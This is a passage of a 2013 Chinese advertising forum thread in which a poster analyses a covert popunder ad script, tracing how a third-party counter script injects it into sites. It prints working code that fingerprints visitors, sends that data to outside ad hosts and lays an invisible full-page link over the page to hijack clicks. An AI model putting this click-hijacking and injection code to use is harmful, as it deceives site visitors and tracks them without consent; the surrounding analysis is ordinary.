    8 ]6 y( t; j/ G7 u. O
  377.                         }
    8 [1 c3 r! i" u; F# ^" d/ y
  378.                     }
    6 Q* `" ?8 O1 y6 o; [7 S. u
  379.                     a.style.zIndex = '2147483647') f' I8 T! r6 z& V
  380.                 } catch(e) {}
    : W/ y9 l3 ~; Z9 z
  381.             }
    / _; ~7 M& s, a& M
  382.         }, + e+ y8 D* \, P
  383.         120); ; ^8 B. f; |0 y4 L6 b; e& i
  384.         a.onclick = function(e) {
      V7 Y7 D& y7 k" ^, M& w
  385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
    1 e% G7 `/ s* w3 u7 I
  386.                 form_div.parentNode.removeChild(form_div)
    5 E& w4 ?  H. M- Z6 r( z
  387.             } 0 ?* M$ J* e5 V9 ]: C% b" I+ O
  388.             e = e || window.event; 6 D4 `4 a0 b8 F/ m4 e" [2 s% D
  389.             e.cancelBubble = true;
    $ p8 p4 p3 W5 Y& U1 P& M
  390.             setTimeout(function() { ; c5 g3 ^, [0 Y3 n6 t9 Y
  391.                 a.parentNode.removeChild(a)
    % [% g& H( t+ M2 R7 S' [' ^: @
  392.             },
    9 ^3 e! G" Y% P( B9 w3 n
  393.             200);
    ( O* F6 I  |$ ?
  394.             clearInterval(m);
    ; d+ Q1 I( A( {( x2 g. I8 s) C
  395.             ads++;
    " ~6 o( A8 S+ P* h9 F+ D7 a8 a
  396.             p(ckn, ckt, ads) 1 H+ _# T& _7 f) g8 M
  397.         };
    $ i: _& u' ?% z( f9 P* f
  398.         event(a, 'mouseup', ' A6 @; n6 T6 y: j. U. L
  399.         function(e) { 0 O+ z- x7 s* w9 n  C
  400.             e = e || window.event; + I* B8 t5 L$ E, O/ }( `0 S, n
  401.             e.cancelBubble = true
    # p% S2 J# V' h; x( ?: u/ H
  402.         }) - u  y, [! G7 r4 X
  403.     }
    + I# J3 k/ i/ E6 {7 H! j
  404.     function func(url, param) {
    - y+ e- g0 n% `
  405.         var f = window[String.fromCharCode(111, 112, 101, 110)]; $ u1 Z6 }" {+ v8 ]$ }
  406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height); + W) R5 x/ {/ ~% Q' L$ o9 w2 B
  407.         if (w) {
    . M& Y8 g9 G, W* K
  408.             ads++;
    + i2 v  b4 o) C! [2 ]& X
  409.             p(ckn, ckt, ads)
    8 X( ^% n2 k- ^8 Y. W$ [
  410.         };
    7 |2 D9 f# b4 d8 d1 v8 }
  411.         return w
    4 [0 j: W; x) {6 \8 V# r
  412.     } + p; e& d; I) E8 z: B
  413.     function fstart(url) {
    # q& U: P3 C; N, e
  414.         init(); $ J( M5 L1 u% k7 q# J
  415.         if (_ct >= 0) { " ~) s; }* V+ l9 ~" `- ~) x
  416.             ckn = "YITIAN_NUM"; 7 i. T. k' d7 F" H
  417.             ckt = _ct
    % P1 _/ n6 Y5 v9 [- o* z
  418.         } else {
    0 [7 x& K  N  Q6 F
  419.             ckn = "YITIAN_ALL"; / c; o: N2 O; ~3 T( w+ c
  420.             ckt = Math.abs(_ct)
    $ ]: F. X8 F7 c: Q0 g5 w" w
  421.         } / m. x7 T; `% e( J6 f9 n
  422.         if (ckt > 0) {
      z" [1 T1 V2 {5 O
  423.             if (b(ckn)) { & ?/ [  Z( T% _8 L% I3 _% ?+ b
  424.                 try { : J  R% R; j8 a" i/ Q. n
  425.                     ads = parseFloat(b(ckn))
    & ]5 u7 T" f5 l0 J8 S$ v
  426.                 } catch(q) {} ) ]( E/ B+ e! X4 p+ K& ?5 D/ N
  427.             } 2 ^; v# u% G& R: f
  428.         }
    5 y7 D9 ?8 g! z" Z& S4 ]
  429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
    1 s& u; {0 S. U5 M& `
  430.             return
    . e, ]# ?6 g- ~6 e" B
  431.         } else {
    8 R# f8 }/ E1 `. u2 q
  432.             if (_le > 0) { 4 i) g. V" Z- M; |
  433.                 setTimeout(go(url), _le * 1000) 8 g. J) e0 W" G. D
  434.             } else { 3 l. f  A: X' e* {4 B2 f/ [
  435.                 go(url) 8 Y" T8 D9 M6 N2 W
  436.             }
    6 f# \$ R( |/ j! w
  437.         } * x3 K8 V& Z" V6 o9 D. _6 b2 ]
  438.     } " C) u5 @3 h  h! Q
  439.     function go(url) {
    2 l* r( j5 @' R2 ?/ n
  440.         if (_poo == 1) {
    / ~/ B0 B" B# L5 a  p4 K' {
  441.             try {
      V/ b8 N3 o0 k8 Y- Z  W1 w
  442.                 func(url) ) h5 N9 W% c7 A  A. T& {5 U
  443.             } catch(q) {}
    , ]& z: P9 |$ n+ F! ~, P
  444.         } else if (_pco == 1) { $ Q# M: d9 W6 t! H
  445.             a_pop(url)
    1 }% `" i8 R; |  `# E% ?9 W
  446.         } else {
    8 v6 O! b% I( ]) N
  447.             if (_pd == 1) {
    . F( d/ h5 ^& j
  448.                 setTimeout(function() { 8 \/ q7 m' [/ k
  449.                     pop(url, {
    ' \% f" ]' T. h" n: n4 b$ `8 p; U% `
  450.                         a: 1,
    * j( `4 U! ~1 P9 E4 B# l; f
  451.                         b: 2 ; O7 n+ c3 f# G9 u9 H7 L- J" b8 |
  452.                     }) 2 k! a  A. h% x
  453.                 }, " V. P  g: `  \
  454.                 300) 8 P$ p  J5 G3 {$ a5 I" F& m) r
  455.             } ; X: Y6 R3 @* Z# ~5 {3 k; n) p8 r
  456.             if (_pd2 > Math.random()) {
    ' y- H; x9 W6 l1 b/ N$ B
  457.                 setTimeout(function() {
      P* w: ?3 D& B/ Y4 n, }' k& U! P
  458.                     pop(url, {
    0 ]) ~' F4 n5 h7 L: m7 L6 K) t
  459.                         a: 1,
    + H3 G/ m/ V$ ]* [
  460.                         b: 2
    1 o% L' E( [0 i( r! x' b/ c
  461.                     }) : K# B. V/ U5 A
  462.                 },
    ' k4 _: M! Y( X: [3 H* N3 k% p
  463.                 300) ! \5 P2 m8 D. K  w2 R
  464.             }
    & Z6 a+ C6 ^1 m# r; `
  465.             for (var i = 1; i <= 10; i++) {
    # n$ H; q6 E# P3 Z
  466.                 var n = i == 1 ? "": i;
    9 X$ V4 C- @7 ?1 ]  V: T7 i" c
  467.                 if (eval("_pt" + n + "b") > Math.random()) {
    " _  d5 k3 s1 ~% x( k" d/ U
  468.                     setTimeout(function() {
    ! D/ A$ Y! j, Y5 z9 m2 \! W
  469.                         setTimeout(function() {
    # O0 ~2 j6 d- h0 {, o$ V
  470.                             pop(url, { : c; v( Z! F$ e: P
  471.                                 a: 1,
    & g2 i1 M: l) P0 W+ t7 I) D: \& {/ K
  472.                                 b: 2 9 `. F2 _$ f; b: t4 a7 y
  473.                             })
    ( o9 B7 D8 v+ y) V. t
  474.                         }, : m' D( w3 f7 Y4 W& w# [
  475.                         300)
    . |5 W! a6 S9 F0 j1 n3 V) u
  476.                     }, + D. P3 `1 _* @
  477.                     parseInt(eval("_pt" + n + "a")) * 1000)
    - V5 ?& @5 U9 [3 w" {
  478.                 }
    ! ?7 P. @) C* I/ e) ^! L
  479.             }
    0 S: F' M% O' n! C* I
  480.             if (_pc2 > Math.random()) { $ Q  }8 v3 ?: E% u) r0 |2 L- a3 L  c
  481.                 a_pop(url)
    " B& g: I1 K, N) u- p& K; Q/ W- s
  482.             }
    , Q/ ?: x. R: W: d1 }! Q$ J1 a
  483.             if (_po > Math.random()) { ; J9 n( ]$ c7 y# n
  484.                 try {
    & q+ ~( r- M2 i' r
  485.                     func(url)
    - N) x6 R; Q! Z1 Y5 @) E2 \* \0 y
  486.                 } catch(q) {} - Z! f1 z& Q2 _4 m$ b
  487.             } 1 {6 r) K) x) p( d& M9 A
  488.         }
    ' X$ R/ Y- V, l( ^2 H! K- d- f
  489.     };
    / d% V+ [* Q1 N# @
  490.     fstart(aa_url);
    - V6 O/ c2 T; [" Q! n! Y4 \% ]- N" Z% m
  491.     event(window, 'beforeunload', - \( \; C9 E, K: h. U# b' K* X
  492.     function() {}) 9 z( p$ }4 i; c+ n3 E3 A
  493. })();
复制代码
通过浏览器抓包  J$ W5 C2 u- K/ o6 T* A7 E
URL从这里产生
1 B  W  r! E6 C: ~9 [
' Y  t4 q5 i: p4 j' Jhttp://play.unionsky.cn/show/?placeid=141830
  ^# k) Y8 K8 x
) p) H) o& F8 J6 l1 j" I) a& P/ r) |% {+ b5 V
相关帖子
回复

使用道具 举报

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

 楼主| 发表于 2013-12-17 15:04:10 | 显示全部楼层
直接打开看不到什么东西! L) a1 v1 W# U6 Z6 U; T
http://www.unionsky.cn/ 是属于这个广告联盟的
3 a, U* S9 O# ]4 e% l' H1 \我们直接分析抓包的内容
2 N, Y8 T+ C0 J
var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
% X7 i0 E) W4 A; Z& Jytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
# r  G/ d0 D3 s1 Z- q3 rvar ytpp_u = encodeURIComponent(navigator.userAgent);
1 i2 s4 V% f1 ?: Cvar ytpp_s = window.screen.width + "*" + window.screen.height;
0 f5 |  j: R) v) `9 D, f6 s7 N( R1 Rvar ytpp_l = navigator.browserLanguage || navigator.language;
5 Z* \5 V) P% p  [% V. C; yvar ytpp_plid = 141830; ; ~; y" f; m1 Z  |# C7 P$ T. S- }5 D
var ytpp_w = 0; 3 {4 q: O( h1 w
var ytpp_h = 0;
" [0 V: S* v- \' j# w# y  x) Y& v2 xvar ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
& k/ H* Z  {, Fvar ytpp_ads = 14;
: O* o$ y  l5 \+ ]: P" tvar ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;'; 7 s1 B7 Y$ A9 t: K( o2 b
document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>");
6 r* W/ e0 U& a9 A1 ddocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");
' N% M6 k9 A7 X' K3 V9 ^) u
那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。/ o! q% C) E' e" F0 V( X9 p
继续分析 发现这里
) P/ c/ R- }$ {% Y) G
) x% S/ [  ^  ^8 ^4 X) D+ [http://txsite.21tx.com/count/count.js
0 t- _: l6 v! H/ [! p7 |, H& K9 _7 h6 c. B) a. e; Z
txcount_uid = 1;
) t  ^# I; C5 F' X0 C( {9 P( utxcount_uh = 0;
; M. g3 |) e+ P- dtxcount_uw = 0; 3 z4 [: o  g/ w% |" u
txcount_uah = 0;
5 ?8 k5 x+ r8 \) ~- ~2 x/ vtxcount_uaw = 0; 8 O$ h7 H: J' l7 m! V9 W) Y
txcount_ucd = 0;
- ~& Y' C3 ^5 m) x2 e   3 Z( i1 C/ H( b
if (window.screen) {
+ s+ D  v- u" j1 J" ]* A  txcount_uh = window.screen.height;
% u. {% ~: P' U  txcount_uw = window.screen.width;
! v; s) l; D8 D3 E  txcount_uah = window.screen.availHeight;
! H- \, Q, x4 V5 Z- R/ v4 h# J) a  U+ @  txcount_uaw = window.screen.availWidth;
! f( V2 w, {1 b& G  txcount_ucd = window.screen.colorDepth;
/ U0 M, B/ ~6 X5 G}
5 b( r+ ^0 `% C  c9 z   9 `5 x% @4 R# M: h1 {2 P( o* ~) a
   9 n2 P) c* U' L$ P4 M
var url = "http://txsite.21tx.com/count/count.aspx";
; t, D9 c. e4 W$ z; Z5 Gurl = url + "?u="+ txcount_uid;
/ ~6 M9 S- G7 e  W//url = url + "&f=" + txcount_f;
( q% s5 m% X+ k3 ?/ D% Eurl = url + "&k=" + txsite_pagekey; - @  @5 H5 M, `) R+ `
//url = url + "&t=" + txcount_t; & U/ L: H) T1 B3 k
url = url + "&l=" + escape(document.location); * r6 z& ?/ F1 {' b6 Q: P( h3 M) |
url = url + "&r=" + escape(document.referrer);
/ K2 n9 M0 |: A4 Burl = url + "&uh=" + txcount_uh;
* L  {& X. M* A6 A3 M; Lurl = url + "&uw=" + txcount_uw; & A! ]" i; I; U
url = url + "&uah=" + txcount_uah; 1 w( V1 n" g1 E# W
url = url + "&uaw=" + txcount_uaw;
2 k- E$ t5 `/ ~0 B. Hurl = url + "&ucd=" + txcount_ucd; 7 e, f% h7 f: |& _6 b
   : X! N0 V* d# n9 e; r' ]% d7 c' y
   / W' |# C8 Z5 P
document.write("<script src=" + url + "><\/script>"); 1 y- p0 \/ r! d  b- F
//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>');   J' `% |' f& l4 r
   3 m7 J2 |: T) F8 U
document.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>');
) ^% f9 l7 I- t+ a: E" ~; E, \   : c5 A$ }% ?0 L
   
* R8 j6 `) y* ~! Z! u+ U6 o/ E0 Wdocument.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

. |0 W1 X1 g9 J$ ?4 z( d6 F$ T( X/ w! }. V- |) @" F/ U
一切昭然天下了。4 _  j, ~" [# @" r
代码产生的直接效果如下3 n/ j2 z! u% w- u3 M, A
# i2 ]: ^; d* m" o4 u
<a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a> , ]4 `2 X2 z) I& l% }
. A) {" m% P# t. V3 T2 }
很隐秘的一段好代码
. H0 r4 s" j+ l0 }9 X+ x3 R( l
回复 支持 反对

使用道具 举报

0

主题

488

广告币

1280

积分

高级会员

Rank: 4

积分
1280
发表于 2013-12-17 15:31:30 | 显示全部楼层
标记一下 好象看不懂还
回复 支持 反对

使用道具 举报

31

主题

266

广告币

801

积分

中级会员

Rank: 3Rank: 3

积分
801
发表于 2013-12-17 16:34:22 | 显示全部楼层
不清楚国内,莫非做taobao不可以直接用弹窗吗?
回复 支持 反对

使用道具 举报

4

主题

1334

广告币

1390

积分

高级会员

Rank: 4

积分
1390
发表于 2013-12-17 18:49:06 | 显示全部楼层
没用 360 搜狗 直接就拦截了,chrome可以弹出来
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2013-12-17 19:34:38 | 显示全部楼层
adblock 完美屏蔽
回复 支持 反对

使用道具 举报

0

主题

91

广告币

97

积分

初级会员

Rank: 2

积分
97

社区QQ达人

发表于 2013-12-17 23:34:52 | 显示全部楼层
没研究全,期待跟多解析。
过往.
回复 支持 反对

使用道具 举报

6

主题

682

广告币

1090

积分

中级会员

Rank: 3Rank: 3

积分
1090

社区QQ达人

发表于 2013-12-18 00:52:13 | 显示全部楼层
代码看不懂,不过觉得挺好用的……自动弹窗
回复 支持 反对

使用道具 举报

52

主题

457

广告币

843

积分

中级会员

Rank: 3Rank: 3

积分
843
发表于 2013-12-18 01:24:03 | 显示全部楼层
没懂6 D; ], b: Z- }* Y
8 z3 X$ m. D& {
1,首次访问有个弹窗,但是被chrome给拦截了; g. L5 B9 A! C

: j' @) M$ i. c# Z9 ~2,劫持了第一次点击8 a, }- b/ a+ ]

6 H0 Y) \' C6 p, g7 I) j3,CS了一下unionsky; D( w% [# G4 R/ k# D4 I

  |4 j0 x" r) K% c- P然后?
回复 支持 反对

使用道具 举报

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

 楼主| 发表于 2013-12-18 03:49:31 | 显示全部楼层
cissss 发表于 2013-12-18 01:24
2 g9 [, m7 O! r# x5 i5 d* @没懂
% P8 T/ o$ T# b. t6 t5 h8 u5 u! s$ r
1,首次访问有个弹窗,但是被chrome给拦截了
9 l0 z# J+ f  x, W" I9 @2 j3 U. K
懂的人一看就懂 不懂的人怎么看就不懂
回复 支持 反对

使用道具 举报

4

主题

442

广告币

720

积分

中级会员

Rank: 3Rank: 3

积分
720
发表于 2013-12-18 06:34:13 | 显示全部楼层
这个CJ怎么搞的这么复杂...
回复 支持 反对

使用道具 举报

52

主题

457

广告币

843

积分

中级会员

Rank: 3Rank: 3

积分
843
发表于 2013-12-18 17:31:57 | 显示全部楼层
小狠 发表于 2013-12-18 03:49 , H  x5 J; w5 p- q8 K# w
懂的人一看就懂 不懂的人怎么看就不懂

- z( B& {7 [. S* r7 N2 Y! t& t) r我确实不懂你发这贴的意思。 可以理解为装逼么?
回复 支持 反对

使用道具 举报

0

主题

386

广告币

341

积分

初级会员

Rank: 2

积分
341

社区QQ达人

发表于 2014-3-14 13:10:39 | 显示全部楼层
不就是个弹窗代码吗?
回复 支持 反对

使用道具 举报

3

主题

88

广告币

113

积分

初级会员

Rank: 2

积分
113

社区QQ达人

发表于 2014-3-14 23:11:34 | 显示全部楼层
我表示看不懂
回复 支持 反对

使用道具 举报

4

主题

1

广告币

135

积分

初级会员

Rank: 2

积分
135

社区QQ达人

QQ
发表于 2014-3-15 12:03:35 | 显示全部楼层
占位,慢慢领会啥意思
http://faaad.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-6-22 05:37 , Processed in 0.064006 second(s), 13 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表